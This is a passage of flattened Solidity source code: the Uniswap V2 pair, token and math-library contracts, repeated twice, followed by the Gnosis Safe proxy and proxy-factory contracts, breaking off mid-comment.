// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
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// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
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| ||
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|
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
